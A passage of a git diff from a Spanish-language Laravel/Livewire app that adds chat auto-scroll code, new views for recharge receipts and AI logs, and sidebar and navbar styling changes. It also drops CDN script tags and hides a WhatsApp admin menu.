|
|
||||||
if (msgs) setTimeout(() => { msgs.scrollTop = msgs.scrollHeight; }, 50);
|
|
||||||
};
|
|
||||||
|
|
||||||
window.visualViewport.addEventListener('resize', update);
|
|
||||||
window.visualViewport.addEventListener('scroll', update);
|
|
||||||
update();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
document.addEventListener('DOMContentLoaded', initViewportFix);
|
function scrollBottom() {
|
||||||
document.addEventListener('livewire:load', initViewportFix);
|
if (msgsEl) msgsEl.scrollTop = msgsEl.scrollHeight;
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateBadge() {
|
||||||
|
var badge = document.getElementById('new-msg-badge');
|
||||||
|
var count = document.getElementById('new-msg-count');
|
||||||
|
if (!badge) return;
|
||||||
|
if (newMsgCount > 0 && !isAtBottom) {
|
||||||
|
if (count) count.textContent = newMsgCount;
|
||||||
|
badge.classList.remove('hidden');
|
||||||
|
badge.classList.add('flex');
|
||||||
|
} else {
|
||||||
|
badge.classList.add('hidden');
|
||||||
|
badge.classList.remove('flex');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function countMsgs() {
|
||||||
|
return msgsEl ? msgsEl.children.length : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
function init() {
|
||||||
|
var el = document.getElementById('pub-messages');
|
||||||
|
if (!el || el === msgsEl) return; // ya inicializado sobre el mismo elemento
|
||||||
|
|
||||||
|
msgsEl = el;
|
||||||
|
lastCount = countMsgs();
|
||||||
|
|
||||||
|
msgsEl.addEventListener('scroll', function () {
|
||||||
|
isAtBottom = checkBottom();
|
||||||
|
if (isAtBottom) { newMsgCount = 0; updateBadge(); }
|
||||||
|
}, { passive: true });
|
||||||
|
|
||||||
|
if (observer) observer.disconnect();
|
||||||
|
observer = new MutationObserver(function () {
|
||||||
|
var current = countMsgs();
|
||||||
|
var diff = current - lastCount;
|
||||||
|
lastCount = current;
|
||||||
|
if (diff <= 0) return;
|
||||||
|
if (isAtBottom) { scrollBottom(); }
|
||||||
|
else { newMsgCount += diff; updateBadge(); }
|
||||||
|
});
|
||||||
|
observer.observe(msgsEl, { childList: true });
|
||||||
|
|
||||||
|
var btn = document.getElementById('new-msg-badge-btn');
|
||||||
|
if (btn && !btn._bound) {
|
||||||
|
btn._bound = true;
|
||||||
|
btn.addEventListener('click', function () {
|
||||||
|
isAtBottom = true; newMsgCount = 0;
|
||||||
|
msgsEl.scrollTo({ top: msgsEl.scrollHeight, behavior: 'smooth' });
|
||||||
|
updateBadge();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
scrollBottom();
|
||||||
|
|
||||||
|
/* Historial ya pintado: a partir de aquí sí animamos los mensajes nuevos */
|
||||||
|
requestAnimationFrame(function () {
|
||||||
|
requestAnimationFrame(function () { document.body.classList.add('chat-listo'); });
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Bajar al fondo cuando el componente emite scroll-chat */
|
||||||
|
window.addEventListener('scroll-chat', function () {
|
||||||
|
isAtBottom = true; newMsgCount = 0; updateBadge(); scrollBottom();
|
||||||
|
});
|
||||||
|
|
||||||
|
document.addEventListener('DOMContentLoaded', function () { init(); });
|
||||||
|
|
||||||
|
/* livewire:load: Livewire terminó de arrancar — re-init por si el DOM cambió */
|
||||||
|
document.addEventListener('livewire:load', function () {
|
||||||
|
init();
|
||||||
|
/* Usar hook oficial para scroll después de cada update */
|
||||||
|
Livewire.hook('message.processed', function () {
|
||||||
|
if (isAtBottom) scrollBottom();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
})();
|
||||||
</script>
|
</script>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|||||||
@@ -0,0 +1,6 @@
|
|||||||
|
<x-app-layout>
|
||||||
|
<x-slot name="header">
|
||||||
|
<h2 class="font-semibold text-xl text-gray-800 leading-tight">Comprobantes de Recarga</h2>
|
||||||
|
</x-slot>
|
||||||
|
<livewire:chat.show-comprobantes />
|
||||||
|
</x-app-layout>
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
<x-app-layout>
|
||||||
|
<div class="p-4">
|
||||||
|
<livewire:chat.show-ai-logs />
|
||||||
|
</div>
|
||||||
|
@include('layouts.footer')
|
||||||
|
</x-app-layout>
|
||||||
@@ -16,8 +16,6 @@
|
|||||||
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swiper@12/swiper-bundle.min.css" />
|
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swiper@12/swiper-bundle.min.css" />
|
||||||
<!-- Scripts -->
|
<!-- Scripts -->
|
||||||
@vite(['resources/css/app.css', 'resources/js/app.js'])
|
@vite(['resources/css/app.css', 'resources/js/app.js'])
|
||||||
<script src="https://cdn.tailwindcss.com"></script>
|
|
||||||
<script src="https://cdn.tailwindcss.com?plugins=forms,typography,aspect-ratio,line-clamp"></script>
|
|
||||||
@livewireStyles
|
@livewireStyles
|
||||||
</head>
|
</head>
|
||||||
<body class="font-[Poppins] antialiased h-screen" style="{font-family: poppins,sans-serif;}" x-data="{ openAside: false }">
|
<body class="font-[Poppins] antialiased h-screen" style="{font-family: poppins,sans-serif;}" x-data="{ openAside: false }">
|
||||||
|
|||||||
@@ -16,9 +16,6 @@
|
|||||||
|
|
||||||
<!-- Scripts -->
|
<!-- Scripts -->
|
||||||
@vite(['resources/css/app.css', 'resources/js/app.js'])
|
@vite(['resources/css/app.css', 'resources/js/app.js'])
|
||||||
<script defer src="https://unpkg.com/alpinejs@3.x.x/dist/cdn.min.js"></script>
|
|
||||||
<script src="https://cdn.tailwindcss.com"></script>
|
|
||||||
<script src="https://cdn.tailwindcss.com?plugins=forms,typography,aspect-ratio,line-clamp"></script>
|
|
||||||
@livewireStyles
|
@livewireStyles
|
||||||
</head>
|
</head>
|
||||||
<body class="h-screen font-[Poppins] " style="{font-family: poppins,sans-serif;}">
|
<body class="h-screen font-[Poppins] " style="{font-family: poppins,sans-serif;}">
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
<nav class="bg-[{{App\Models\Configuracione::Orderby('id','desc')->first()->color_barra}}] border-b border-gray-100 rounded-b-3xl shadow ">
|
<nav class="border-b border-gray-100 rounded-b-3xl shadow" style="background-color: {{ App\Models\Configuracione::Orderby('id','desc')->first()->color_barra }};">
|
||||||
<!-- Primary Navigation Menu -->
|
<!-- Primary Navigation Menu -->
|
||||||
<div class="md:w-[85%] mx-auto px-4 sm:px-6 lg:px-8 py-1">
|
<div class="md:w-[85%] mx-auto px-4 sm:px-6 lg:px-8 py-1">
|
||||||
<div class="flex justify-between h-16">
|
<div class="flex justify-between h-16">
|
||||||
@@ -24,10 +24,10 @@
|
|||||||
@if (Route::has('login'))
|
@if (Route::has('login'))
|
||||||
<div class="">
|
<div class="">
|
||||||
@auth
|
@auth
|
||||||
<a href="{{ url('/dashboard') }}" class=" text-white px-4 py-2 rounded-lg bg-[{{App\Models\Configuracione::Orderby('id','desc')->first()->color_boton}}] hover:bg-[#7a02b8]">Dashboard</a>
|
<a href="{{ url('/dashboard') }}" class="text-white px-4 py-2 rounded-lg hover:opacity-90 transition-opacity" style="background-color: {{ App\Models\Configuracione::Orderby('id','desc')->first()->color_boton }};">Dashboard</a>
|
||||||
@else
|
@else
|
||||||
<div class="space-x-8 sm:-my-px sm:ml-6 flex text-white items-center">
|
<div class="space-x-8 sm:-my-px sm:ml-6 flex text-white items-center">
|
||||||
<a href="{{ route('login') }}" class="text-sm sm:text-base flex px-4 py-2 rounded-lg bg-[{{App\Models\Configuracione::Orderby('id','desc')->first()->color_boton}}] hover:bg-[#7a02b8]">Iniciar sesión
|
<a href="{{ route('login') }}" class="text-sm sm:text-base flex px-4 py-2 rounded-lg hover:opacity-90 transition-opacity" style="background-color: {{ App\Models\Configuracione::Orderby('id','desc')->first()->color_boton }};">Iniciar sesión
|
||||||
|
|
||||||
|
|
||||||
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" x="0px" y="0px" stroke="currentColor" class="w-[0.87rem] ml-2 ">
|
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" x="0px" y="0px" stroke="currentColor" class="w-[0.87rem] ml-2 ">
|
||||||
|
|||||||
@@ -5,7 +5,7 @@
|
|||||||
@endphp
|
@endphp
|
||||||
|
|
||||||
<aside x-cloak :class="openAside ? 'translate-x-0' : '-translate-x-full'" class="z-20 fixed inset-y-0 left-0 w-64 transform transition-transform duration-300 ease-in-out min-h-screen shadow-lg flex flex-col" style="background: {{ $bg }};">
|
<aside x-cloak :class="openAside ? 'translate-x-0' : '-translate-x-full'" class="z-20 fixed inset-y-0 left-0 w-64 transform transition-transform duration-300 ease-in-out min-h-screen shadow-lg flex flex-col" style="background: {{ $bg }};">
|
||||||
<div class="flex items-center justify-between px-4 py-3 text-white border-b border-white/20 sticky top-0 bg-[{{ $bg }}] z-30">
|
<div class="flex items-center justify-between px-4 py-3 text-white border-b border-white/20 sticky top-0 z-30" style="background-color: {{ $bg }};">
|
||||||
<div class="w-20">
|
<div class="w-20">
|
||||||
<x-application-logo />
|
<x-application-logo />
|
||||||
</div>
|
</div>
|
||||||
@@ -252,48 +252,7 @@
|
|||||||
{{-- Módulo WhatsApp (solo admins) --}}
|
{{-- Módulo WhatsApp (solo admins) --}}
|
||||||
@if (in_array(auth()->user()->rol->nombre, ['super', 'administrador']))
|
@if (in_array(auth()->user()->rol->nombre, ['super', 'administrador']))
|
||||||
<div x-data="{ openWa: false }" class="space-y-1">
|
<div x-data="{ openWa: false }" class="space-y-1">
|
||||||
<button @click="openWa = !openWa"
|
{{-- Módulo WhatsApp oculto --}}
|
||||||
class="flex items-center justify-between w-full py-2 px-3 rounded text-white hover:bg-white/10 focus:outline-none">
|
|
||||||
<div class="flex items-center gap-2">
|
|
||||||
<svg class="w-5" viewBox="0 0 24 24" fill="currentColor">
|
|
||||||
<path d="M17.472 14.382c-.297-.149-1.758-.867-2.03-.967-.273-.099-.471-.148-.67.15-.197.297-.767.966-.94 1.164-.173.199-.347.223-.644.075-.297-.15-1.255-.463-2.39-1.475-.883-.788-1.48-1.761-1.653-2.059-.173-.297-.018-.458.13-.606.134-.133.298-.347.446-.52.149-.174.198-.298.298-.497.099-.198.05-.371-.025-.52-.075-.149-.669-1.612-.916-2.207-.242-.579-.487-.5-.669-.51-.173-.008-.371-.01-.57-.01-.198 0-.52.074-.792.372-.272.297-1.04 1.016-1.04 2.479 0 1.462 1.065 2.875 1.213 3.074.149.198 2.096 3.2 5.077 4.487.709.306 1.262.489 1.694.625.712.227 1.36.195 1.871.118.571-.085 1.758-.719 2.006-1.413.248-.694.248-1.289.173-1.413-.074-.124-.272-.198-.57-.347z"/><path d="M12 0C5.373 0 0 5.373 0 12c0 2.127.558 4.122 1.532 5.857L.057 23.786a.5.5 0 0 0 .629.628l5.963-1.467A11.944 11.944 0 0 0 12 24c6.627 0 12-5.373 12-12S18.627 0 12 0zm0 22c-1.88 0-3.638-.52-5.145-1.42l-.369-.22-3.818.94.974-3.782-.239-.381A9.944 9.944 0 0 1 2 12c0-5.523 4.477-10 10-10s10 4.477 10 10-4.477 10-10 10z"/>
|
|
||||||
</svg>
|
|
||||||
<span>WhatsApp</span>
|
|
||||||
</div>
|
|
||||||
<svg :class="openWa ? 'rotate-180' : ''" class="w-4 h-4 transform transition-transform" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor">
|
|
||||||
<path stroke-linecap="round" stroke-linejoin="round" d="M19 9l-7 7-7-7" />
|
|
||||||
</svg>
|
|
||||||
</button>
|
|
||||||
<div x-show="openWa" x-transition class="space-y-1">
|
|
||||||
<a href="{{ route('whatsapp.conversaciones') }}" class="flex items-center gap-2 py-2 px-3 rounded text-white text-left {{ request()->routeIs('whatsapp.conversaciones') ? 'bg-white/20' : 'hover:bg-white/10' }}">
|
|
||||||
<svg class="w-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M20.25 8.511c.884.284 1.5 1.128 1.5 2.097v4.286c0 1.136-.847 2.1-1.98 2.193-.34.027-.68.052-1.02.072v3.091l-3-3c-1.354 0-2.694-.055-4.02-.163a2.115 2.115 0 0 1-.825-.242m9.345-8.334a2.126 2.126 0 0 0-.476-.095 48.64 48.64 0 0 0-8.048 0c-1.131.094-1.976 1.057-1.976 2.192v4.286c0 .837.46 1.58 1.155 1.951m9.345-8.334V6.637c0-1.621-1.152-3.026-2.76-3.235A48.455 48.455 0 0 0 11.25 3c-2.115 0-4.198.137-6.24.402-1.608.209-2.76 1.614-2.76 3.235v6.226c0 1.621 1.152 3.026 2.76 3.235.577.075 1.157.14 1.74.194V21l4.155-4.155" /></svg>
|
|
||||||
<span>Conversaciones</span>
|
|
||||||
</a>
|
|
||||||
<a href="{{ route('whatsapp.menus') }}" class="flex items-center gap-2 py-2 px-3 rounded text-white text-left {{ request()->routeIs('whatsapp.menus') ? 'bg-white/20' : 'hover:bg-white/10' }}">
|
|
||||||
<svg class="w-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M5 12h14M5 12h14M5 6h14M5 18h14" /></svg>
|
|
||||||
<span>Menús del Bot</span>
|
|
||||||
</a>
|
|
||||||
<a href="{{ route('whatsapp.plantillas') }}" class="flex items-center gap-2 py-2 px-3 rounded text-white text-left {{ request()->routeIs('whatsapp.plantillas') ? 'bg-white/20' : 'hover:bg-white/10' }}">
|
|
||||||
<svg class="w-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M9 12h6m-6 4h6m2 5H7a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h5.586a1 1 0 0 1 .707.293l5.414 5.414a1 1 0 0 1 .293.707V19a2 2 0 0 1-2 2z" /></svg>
|
|
||||||
<span>Plantillas</span>
|
|
||||||
</a>
|
|
||||||
<a href="{{ route('whatsapp.programados') }}" class="flex items-center gap-2 py-2 px-3 rounded text-white text-left {{ request()->routeIs('whatsapp.programados') ? 'bg-white/20' : 'hover:bg-white/10' }}">
|
|
||||||
<svg class="w-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M12 6v6h4.5m4.5 0a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z" /></svg>
|
|
||||||
<span>Mensajes Programados</span>
|
|
||||||
</a>
|
|
||||||
<a href="{{ route('whatsapp.configuracion') }}" class="flex items-center gap-2 py-2 px-3 rounded text-white text-left {{ request()->routeIs('whatsapp.configuracion') ? 'bg-white/20' : 'hover:bg-white/10' }}">
|
|
||||||
<svg class="w-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M9.594 3.94c.09-.542.56-.94 1.11-.94h2.593c.55 0 1.02.398 1.11.94l.213 1.281c.063.374.313.686.645.87.074.04.147.083.22.127.325.196.72.257 1.075.124l1.217-.456a1.125 1.125 0 0 1 1.37.49l1.296 2.247a1.125 1.125 0 0 1-.26 1.431l-1.003.827c-.293.241-.438.613-.43.992a7.723 7.723 0 0 1 0 .255c-.008.378.137.75.43.991l1.004.827c.424.35.534.955.26 1.43l-1.298 2.247a1.125 1.125 0 0 1-1.369.491l-1.217-.456c-.355-.133-.75-.072-1.076.124a6.47 6.47 0 0 1-.22.128c-.331.183-.581.495-.644.869l-.213 1.281c-.09.543-.56.94-1.11.94h-2.594c-.55 0-1.019-.398-1.11-.94l-.213-1.281c-.062-.374-.312-.686-.644-.87a6.52 6.52 0 0 1-.22-.127c-.325-.196-.72-.257-1.076-.124l-1.217.456a1.125 1.125 0 0 1-1.369-.49l-1.297-2.247a1.125 1.125 0 0 1 .26-1.431l1.004-.827c.292-.24.437-.613.43-.992a6.932 6.932 0 0 1 0-.255c.007-.378-.138-.75-.43-.992l-1.004-.827a1.125 1.125 0 0 1-.26-1.43l1.297-2.247a1.125 1.125 0 0 1 1.37-.491l1.216.456c.356.133.751.072 1.076-.124.072-.044.146-.086.22-.128.332-.183.582-.495.644-.869l.214-1.28Z" /><path stroke-linecap="round" stroke-linejoin="round" d="M15 12a3 3 0 1 1-6 0 3 3 0 0 1 6 0Z" /></svg>
|
|
||||||
<span>Configuración Bot</span>
|
|
||||||
</a>
|
|
||||||
<a href="{{ route('whatsapp.logs') }}" class="flex items-center gap-2 py-2 px-3 rounded text-white text-left {{ request()->routeIs('whatsapp.logs') ? 'bg-white/20' : 'hover:bg-white/10' }}">
|
|
||||||
<svg class="w-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M3.75 12h16.5m-16.5 3.75h16.5M3.75 19.5h16.5M5.625 4.5h12.75a1.875 1.875 0 0 1 0 3.75H5.625a1.875 1.875 0 0 1 0-3.75Z" /></svg>
|
|
||||||
<span>Logs Webhook</span>
|
|
||||||
</a>
|
|
||||||
<a href="{{ route('whatsapp.correo') }}" class="flex items-center gap-2 py-2 px-3 rounded text-white text-left {{ request()->routeIs('whatsapp.correo') ? 'bg-white/20' : 'hover:bg-white/10' }}">
|
|
||||||
<svg class="w-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.75 6.75v10.5a2.25 2.25 0 0 1-2.25 2.25h-15a2.25 2.25 0 0 1-2.25-2.25V6.75m19.5 0A2.25 2.25 0 0 0 19.5 4.5h-15a2.25 2.25 0 0 0-2.25 2.25m19.5 0v.243a2.25 2.25 0 0 1-1.07 1.916l-7.5 4.615a2.25 2.25 0 0 1-2.36 0L3.32 8.91a2.25 2.25 0 0 1-1.07-1.916V6.75" /></svg>
|
|
||||||
<span>Correo / IMAP</span>
|
|
||||||
</a>
|
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
@endif
|
@endif
|
||||||
|
|
||||||
@@ -317,14 +276,22 @@
|
|||||||
<svg class="w-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M20.25 8.511c.884.284 1.5 1.128 1.5 2.097v4.286c0 1.136-.847 2.1-1.98 2.193-.34.027-.68.052-1.02.072v3.091l-3-3c-1.354 0-2.694-.055-4.02-.163a2.115 2.115 0 0 1-.825-.242m9.345-8.334a2.126 2.126 0 0 0-.476-.095 48.64 48.64 0 0 0-8.048 0c-1.131.094-1.976 1.057-1.976 2.192v4.286c0 .837.46 1.58 1.155 1.951m9.345-8.334V6.637c0-1.621-1.152-3.026-2.76-3.235A48.455 48.455 0 0 0 11.25 3c-2.115 0-4.198.137-6.24.402-1.608.209-2.76 1.614-2.76 3.235v6.226c0 1.621 1.152 3.026 2.76 3.235.577.075 1.157.14 1.74.194V21l4.155-4.155" /></svg>
|
<svg class="w-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M20.25 8.511c.884.284 1.5 1.128 1.5 2.097v4.286c0 1.136-.847 2.1-1.98 2.193-.34.027-.68.052-1.02.072v3.091l-3-3c-1.354 0-2.694-.055-4.02-.163a2.115 2.115 0 0 1-.825-.242m9.345-8.334a2.126 2.126 0 0 0-.476-.095 48.64 48.64 0 0 0-8.048 0c-1.131.094-1.976 1.057-1.976 2.192v4.286c0 .837.46 1.58 1.155 1.951m9.345-8.334V6.637c0-1.621-1.152-3.026-2.76-3.235A48.455 48.455 0 0 0 11.25 3c-2.115 0-4.198.137-6.24.402-1.608.209-2.76 1.614-2.76 3.235v6.226c0 1.621 1.152 3.026 2.76 3.235.577.075 1.157.14 1.74.194V21l4.155-4.155" /></svg>
|
||||||
<span>Conversaciones</span>
|
<span>Conversaciones</span>
|
||||||
</a>
|
</a>
|
||||||
<a href="{{ route('chat.menus') }}" class="flex items-center gap-2 py-2 px-3 rounded text-white text-left {{ request()->routeIs('chat.menus') ? 'bg-white/20' : 'hover:bg-white/10' }}">
|
<a href="{{ route('chat.comprobantes') }}" class="flex items-center gap-2 py-2 px-3 rounded text-white text-left {{ request()->routeIs('chat.comprobantes') ? 'bg-white/20' : 'hover:bg-white/10' }}">
|
||||||
<svg class="w-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M5 12h14M5 12h14M5 6h14M5 18h14" /></svg>
|
<svg class="w-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M9 12h3.75M9 15h3.75M9 18h3.75m3 .75H18a2.25 2.25 0 0 0 2.25-2.25V6.108c0-1.135-.845-2.098-1.976-2.192a48.424 48.424 0 0 0-1.123-.08m-5.801 0c-.065.21-.1.433-.1.664 0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75 2.25 2.25 0 0 0-.1-.664m-5.8 0A2.251 2.251 0 0 1 13.5 2.25H15c1.012 0 1.867.668 2.15 1.586m-5.8 0c-.376.023-.75.05-1.124.08C9.095 4.01 8.25 4.973 8.25 6.108V8.25m0 0H4.875c-.621 0-1.125.504-1.125 1.125v11.25c0 .621.504 1.125 1.125 1.125h9.75c.621 0 1.125-.504 1.125-1.125V9.375c0-.621-.504-1.125-1.125-1.125H8.25ZM6.75 12h.008v.008H6.75V12Zm0 3h.008v.008H6.75V15Zm0 3h.008v.008H6.75V18Z" /></svg>
|
||||||
<span>Menús del Bot</span>
|
<span>Comprobantes</span>
|
||||||
</a>
|
</a>
|
||||||
<a href="{{ route('chat.configuracion') }}" class="flex items-center gap-2 py-2 px-3 rounded text-white text-left {{ request()->routeIs('chat.configuracion') ? 'bg-white/20' : 'hover:bg-white/10' }}">
|
<a href="{{ route('chat.configuracion') }}" class="flex items-center gap-2 py-2 px-3 rounded text-white text-left {{ request()->routeIs('chat.configuracion') ? 'bg-white/20' : 'hover:bg-white/10' }}">
|
||||||
<svg class="w-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M9.594 3.94c.09-.542.56-.94 1.11-.94h2.593c.55 0 1.02.398 1.11.94l.213 1.281c.063.374.313.686.645.87.074.04.147.083.22.127.325.196.72.257 1.075.124l1.217-.456a1.125 1.125 0 0 1 1.37.49l1.296 2.247a1.125 1.125 0 0 1-.26 1.431l-1.003.827c-.293.241-.438.613-.43.992a7.723 7.723 0 0 1 0 .255c-.008.378.137.75.43.991l1.004.827c.424.35.534.955.26 1.43l-1.298 2.247a1.125 1.125 0 0 1-1.369.491l-1.217-.456c-.355-.133-.75-.072-1.076.124a6.47 6.47 0 0 1-.22.128c-.331.183-.581.495-.644.869l-.213 1.281c-.09.543-.56.94-1.11.94h-2.594c-.55 0-1.019-.398-1.11-.94l-.213-1.281c-.062-.374-.312-.686-.644-.87a6.52 6.52 0 0 1-.22-.127c-.325-.196-.72-.257-1.076-.124l-1.217.456a1.125 1.125 0 0 1-1.369-.49l-1.297-2.247a1.125 1.125 0 0 1 .26-1.431l1.004-.827c.292-.24.437-.613.43-.992a6.932 6.932 0 0 1 0-.255c.007-.378-.138-.75-.43-.992l-1.004-.827a1.125 1.125 0 0 1-.26-1.43l1.297-2.247a1.125 1.125 0 0 1 1.37-.491l1.216.456c.356.133.751.072 1.076-.124.072-.044.146-.086.22-.128.332-.183.582-.495.644-.869l.214-1.28Z" /><path stroke-linecap="round" stroke-linejoin="round" d="M15 12a3 3 0 1 1-6 0 3 3 0 0 1 6 0Z" /></svg>
|
<svg class="w-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M9.594 3.94c.09-.542.56-.94 1.11-.94h2.593c.55 0 1.02.398 1.11.94l.213 1.281c.063.374.313.686.645.87.074.04.147.083.22.127.325.196.72.257 1.075.124l1.217-.456a1.125 1.125 0 0 1 1.37.49l1.296 2.247a1.125 1.125 0 0 1-.26 1.431l-1.003.827c-.293.241-.438.613-.43.992a7.723 7.723 0 0 1 0 .255c-.008.378.137.75.43.991l1.004.827c.424.35.534.955.26 1.43l-1.298 2.247a1.125 1.125 0 0 1-1.369.491l-1.217-.456c-.355-.133-.75-.072-1.076.124a6.47 6.47 0 0 1-.22.128c-.331.183-.581.495-.644.869l-.213 1.281c-.09.543-.56.94-1.11.94h-2.594c-.55 0-1.019-.398-1.11-.94l-.213-1.281c-.062-.374-.312-.686-.644-.87a6.52 6.52 0 0 1-.22-.127c-.325-.196-.72-.257-1.076-.124l-1.217.456a1.125 1.125 0 0 1-1.369-.49l-1.297-2.247a1.125 1.125 0 0 1 .26-1.431l1.004-.827c.292-.24.437-.613.43-.992a6.932 6.932 0 0 1 0-.255c.007-.378-.138-.75-.43-.992l-1.004-.827a1.125 1.125 0 0 1-.26-1.43l1.297-2.247a1.125 1.125 0 0 1 1.37-.491l1.216.456c.356.133.751.072 1.076-.124.072-.044.146-.086.22-.128.332-.183.582-.495.644-.869l.214-1.28Z" /><path stroke-linecap="round" stroke-linejoin="round" d="M15 12a3 3 0 1 1-6 0 3 3 0 0 1 6 0Z" /></svg>
|
||||||
<span>Configuración</span>
|
<span>Configuración</span>
|
||||||
</a>
|
</a>
|
||||||
|
<a href="{{ route('whatsapp.correo') }}" class="flex items-center gap-2 py-2 px-3 rounded text-white text-left {{ request()->routeIs('whatsapp.correo') ? 'bg-white/20' : 'hover:bg-white/10' }}">
|
||||||
|
<svg class="w-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.75 6.75v10.5a2.25 2.25 0 0 1-2.25 2.25h-15a2.25 2.25 0 0 1-2.25-2.25V6.75m19.5 0A2.25 2.25 0 0 0 19.5 4.5h-15a2.25 2.25 0 0 0-2.25 2.25m19.5 0v.243a2.25 2.25 0 0 1-1.07 1.916l-7.5 4.615a2.25 2.25 0 0 1-2.36 0L3.32 8.91a2.25 2.25 0 0 1-1.07-1.916V6.75" /></svg>
|
||||||
|
<span>Correo / IMAP</span>
|
||||||
|
</a>
|
||||||
|
<a href="{{ route('chat.ia-logs') }}" class="flex items-center gap-2 py-2 px-3 rounded text-white text-left {{ request()->routeIs('chat.ia-logs') ? 'bg-white/20' : 'hover:bg-white/10' }}">
|
||||||
|
<svg class="w-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M9.75 9.75l4.5 4.5m0-4.5-4.5 4.5M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z" /><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 9h-7.5M15.75 12h-7.5M15.75 15h-4.5" /></svg>
|
||||||
|
<span>Logs IA</span>
|
||||||
|
</a>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@endif
|
@endif
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
@php
|
@php
|
||||||
$config = App\Models\Configuracione::orderBy('id', 'desc')->first();
|
$config = App\Models\Configuracione::orderBy('id', 'desc')->first();
|
||||||
@endphp
|
@endphp
|
||||||
<nav class="bg-[{{ $config->color_barra }}] border-b border-white/10 shadow-md">
|
<nav class="border-b border-white/10 shadow-md" style="background-color: {{ $config->color_barra }};">
|
||||||
<div class="md:w-[90%] mx-auto px-3 sm:px-4 lg:px-6">
|
<div class="md:w-[90%] mx-auto px-3 sm:px-4 lg:px-6">
|
||||||
<div class="flex items-center h-16 gap-2 sm:gap-3">
|
<div class="flex items-center h-16 gap-2 sm:gap-3">
|
||||||
|
|
||||||
@@ -44,7 +44,7 @@
|
|||||||
|
|
||||||
{{-- Botón Cargar saldo (oculto para editor/administrador) --}}
|
{{-- Botón Cargar saldo (oculto para editor/administrador) --}}
|
||||||
@if (!in_array(auth()->user()->rol->nombre, ['editor', 'administrador']))
|
@if (!in_array(auth()->user()->rol->nombre, ['editor', 'administrador']))
|
||||||
<a href="{{ route('recarga') }}" class="flex-shrink-0 inline-flex items-center gap-1.5 px-3 py-1.5 rounded-lg text-white text-sm font-medium bg-[{{ $config->color_boton }}] hover:opacity-90 transition-opacity">
|
<a href="{{ route('recarga') }}" class="flex-shrink-0 inline-flex items-center gap-1.5 px-3 py-1.5 rounded-lg text-white text-sm font-medium hover:opacity-90 transition-opacity" style="background-color: {{ $config->color_boton }};">
|
||||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="w-3.5 h-3.5 fill-white flex-shrink-0">
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="w-3.5 h-3.5 fill-white flex-shrink-0">
|
||||||
